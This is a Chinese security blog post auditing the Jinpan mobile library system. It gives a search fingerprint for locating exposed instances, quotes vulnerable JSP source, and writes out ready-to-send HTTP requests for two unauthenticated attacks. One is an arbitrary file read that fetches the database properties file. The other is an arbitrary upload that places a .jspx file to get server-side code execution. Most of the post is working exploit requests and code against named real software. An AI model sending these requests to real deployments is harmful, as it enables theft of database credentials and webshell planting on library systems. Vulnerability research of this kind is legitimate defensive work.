某盘移动图书馆系统审计

admin 2024年2月19日14:28:56评论27 views字数 8188阅读27分17秒阅读模式

0x00 前言

app="金盘软件-金盘移动图书馆系统"

某盘移动图书馆系统审计

0x01 前台任意文件读取

在 /pages/admin/tools/file/download.jsp 中 GET获取参数items 并可取任意文件且无任何限制

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@page import="java.io.File"%><%@page import="cn.com.goldlib.util.StringUtil"%><%@page import="cn.com.goldlib.common.CommonConstants"%><%@page import="java.io.BufferedInputStream"%><%@page import="java.io.FileInputStream"%><%@page import="java.util.zip.ZipOutputStream"%><%@page import="java.util.zip.ZipEntry"%><%@page import="static cn.com.goldlib.common.CommonUtils.fileUtil"%><%@page import="java.io.OutputStream"%><%@page import="cn.com.goldlib.sys.service.FileManager"%><%@page import="cn.com.goldlib.framework.util.holder.ApplicationContextHolder"%><%!public static Vector<File> expandFileList(String[] files, boolean inclDirs) {  Vector<File> v = new Vector<File>();  if (files == null)    return v;  files = ((FileManager)ApplicationContextHolder.getBean("fileManager")).filterFilePath(files,new HashSet());  for (int i = 0; i < files.length; i++) {    String filePath = files[i];    if (null == filePath || filePath.trim().equals("")) {//      filePath = CommonConstants.ROOTPATH;    } else {      filePath = StringUtil.parseToPath(CommonConstants.ROOTPATH + "/" + filePath);    }    v.add(new File(filePath));  }  for (int i = 0; i < v.size(); i++) {    File f = (File) v.get(i);    if (f.isDirectory()) {      File[] fs = f.listFiles();      for (int n = 0; n < fs.length; n++)        v.add(fs[n]);      if (!inclDirs) {        v.remove(i);        i--;      }    }  }  return v;}%><%  String[] filePath = request.getParameterValues("items");  if(filePath == null || filePath.length==0){    return;  }  Vector<File> v = expandFileList(filePath, false);  String splitPath = CommonConstants.ROOTPATH;  if(filePath.length == 1){    if(fileUtil.isFirectory(splitPath + filePath[0])){      response.setContentType("application/zip");      response.setHeader("Content-Disposition","attachment;filename=""+filePath[0].substring(filePath[0].lastIndexOf("/")+1)+".zip"");    }else{      response.setContentType(fileUtil.getExtType(filePath[0].substring(filePath[0].lastIndexOf(".")))+";charset=UTF-8");              response.setCharacterEncoding("UTF-8");              response.setHeader("Content-Disposition", "attachment;filename=""+filePath[0].substring(filePath[0].lastIndexOf("/")+1)+""");             BufferedInputStream br=new BufferedInputStream(new FileInputStream(splitPath + filePath[0]));              int len=0;              byte[] b=new byte[1024];              OutputStream outs=response.getOutputStream();              while((len=br.read(b))>0){                  outs.write(b,0,len);              }              outs.close();              br.close();            return;    }  }else{    response.setContentType("application/zip");    response.setHeader("Content-Disposition","attachment;filename="netfolder.zip"");  }  out.clearBuffer();  try {    ZipOutputStream zipout = new ZipOutputStream(response.getOutputStream());//    zipout.setComment("Created by JSP 文件管理器 1.001");    for (int i = 0; i < v.size(); i++) {      File f = v.get(i);      if (f.canRead()) {          if(splitPath.endsWith("/")){            splitPath = splitPath.substring(0,splitPath.length()-1);          }          String path = f.getAbsolutePath();          path = path.replace('\', '/');          for(int j=0;j<filePath.length;j++){            if(path.indexOf((splitPath + filePath[j]))!=-1){              splitPath += filePath[j].substring(0,filePath[j].lastIndexOf("/", filePath[j].length()-2));              break;            }          }        zipout.putNextEntry(new ZipEntry(path.substring(splitPath.length()+1)));        BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));        int b;        while ((b = fr.read()) != -1)          zipout.write(b);        fr.close();        zipout.closeEntry();      }    }    zipout.finish();    zipout.close();  } catch (Exception e) {    e.printStackTrace();  }  out.flush();%>

Payload(读取数据库文件):

GET /pages/admin/tools/file/download.jsp?items=/WEB-INF/classes/db/default.properties HTTP/1.1Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cookie: JSESSIONID=D8C7BD39FAF4DD095FBBB0E87FB017C5Connection: close

某盘移动图书馆系统审计

0x02 前台任意文件上传

在 /common/uploadFile/upload.jsp 中定义了文件上传操作

<%   // 上传文件的保存目录   String uploadFolder = request.getParameter("uploadFolder");    if(null == uploadFolder    || uploadFolder.trim().equals("")){    uploadFolder = "/uploads";  }else if(!uploadFolder.startsWith("/")){    uploadFolder = "/"+uploadFolder;  }  uploadFolder = uploadFolder.replace('\','/');  uploadFolder = uploadFolder.replaceAll("/{2,}","/");  pageContext.setAttribute("uploadFolder",uploadFolder);  // 回调函数  String callBack = request.getParameter("callBack");  if(null == callBack    || callBack.trim().equals("")){    callBack = "";  }  pageContext.setAttribute("callBack",callBack);  // 是否自动上传  String autoUpload = request.getParameter("autoUpload");  if(null == autoUpload    || autoUpload.trim().equals("")    || (!autoUpload.trim().toLowerCase().equals("true")       || !autoUpload.trim().toLowerCase().equals("false"))){    autoUpload = "true";  }  pageContext.setAttribute("autoUpload",autoUpload);  // 允许上传的最大队列数  String queueLimit = request.getParameter("queueLimit");  if(null == queueLimit    || queueLimit.trim().equals("")){    queueLimit = "1";  }  pageContext.setAttribute("queueLimit",queueLimit);  // 允许上传的文件大小最大  String sizeLimit = request.getParameter("sizeLimit");  if(null == sizeLimit    || sizeLimit.trim().equals("")){    sizeLimit = 1024 * 1024 * 100 + "";  }  pageContext.setAttribute("sizeLimit",sizeLimit);  // 允许上传的文件类型  String fileExt = request.getParameter("fileExt");  if(null == fileExt    || fileExt.trim().equals("")){    fileExt = "*.jpg;*.gif;*.png";  }  pageContext.setAttribute("fileExt",fileExt);  // 是否做数据库保存  String isSave = request.getParameter("isSave");  pageContext.setAttribute("isSave",isSave);%><shiro:user><script type="text/javascript">function show(event, ID, fileObj, response, data){  alert(fileObj.filePath);}$(function() {  $('#file_upload').uploadify({    'uploader'       : '${ctx}/scripts/uploadify/uploadify.swf',   // 'script'         : '${ctx}/common/upload/upload?isSave=${isSave}',    'script'         : '${ctx}/common/upload/user?validated=true&isSave=${isSave}',    'cancelImg'      : '${ctx}/scripts/uploadify/cancel.png',    'buttonImg'     : '${ctx}/scripts/uploadify/selectfiles.jpg',    'folder'         : '${uploadFolder}',    <c:if test="${queueLimit != '1'}">    'multi'          : true,    </c:if>    'auto'           : ${autoUpload},    'fileExt'        : '${fileExt}',    'sizeLimit'      : ${sizeLimit},    'fileDesc'       : '文件类型(${fileExt})',    'queueID'        : 'uploadFileList',    <c:if test="${queueLimit != '1'}">    'queueSizeLimit' : ${queueLimit},    </c:if>    'simUploadLimit' : 2,    'removeCompleted': false,    'onComplete'      : function(event, ID, fileObj, response, data){        // 获得上传后返回的数据        if(typeof(response).toLowerCase() == 'string'){        response = $.parseJSON(response);      }//////////////////      // id列表      var ids = response.ids;      if(typeof(ids).toLowerCase() == 'string'){        ids = eval(ids);      }      // 文件路径列表      var filePaths = response.filePaths;      if(typeof(filePaths).toLowerCase() == 'string'){        filePaths = eval(filePaths);      }      // 保存文件名      var fileNames = response.fileNames;      if(typeof(fileNames).toLowerCase() == 'string'){        fileNames = eval(fileNames);      }      // 上传的文件名列表      var uploadFileNames = response.uploadFileNames;      if(typeof(uploadFileNames).toLowerCase() == 'string'){        uploadFileNames = decodeURIComponent(uploadFileNames);        uploadFileNames = eval(uploadFileNames);      }      response.ids = ids;      response.filePaths = filePaths;      response.fileNames = fileNames;      response.uploadFileNames = uploadFileNames;/////////////        var callBack = "${callBack}";      if(callBack != ""){        eval(callBack);      }    },    'onSelectOnce'   : function(event,data) {      $('#status-message').text(data.filesSelected + ' 文件添加至任务列表。');    },    'onAllComplete'  : function(event,data) {     window.parent.optionShow({url:"#uploadphotoimgdiv",title:"上传照片",width:700,onclose:function(){window.parent.location.reload();}});    },    'onQueueFull'     : function(event,data){        alert("选择的文件大于${queueLimit}个。多选的文件将不会上传。");     }  });        });</script></shiro:user>

So 咱们构造Payload上传(该目录下jsp无法解析 但jspx可以):

POST /common/upload/upload HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Content-Type: multipart/form-data; boundary=399e563f0389566bd40fd4d6409a67ddAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cookie: JSESSIONID=D8C7BD39FAF4DD095FBBB0E87FB017C5Connection: closeContent-Length: 179--399e563f0389566bd40fd4d6409a67ddContent-Disposition: form-data; name="file"; filename="aaaaaa.jspx"<% out.println("Do You Want?"); %>--399e563f0389566bd40fd4d6409a67dd--

某盘移动图书馆系统审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):某盘移动图书馆系统审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日14:28:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某盘移动图书馆系统审计https://cn-sec.com/archives/2505103.html

发表评论

匿名网友 填写信息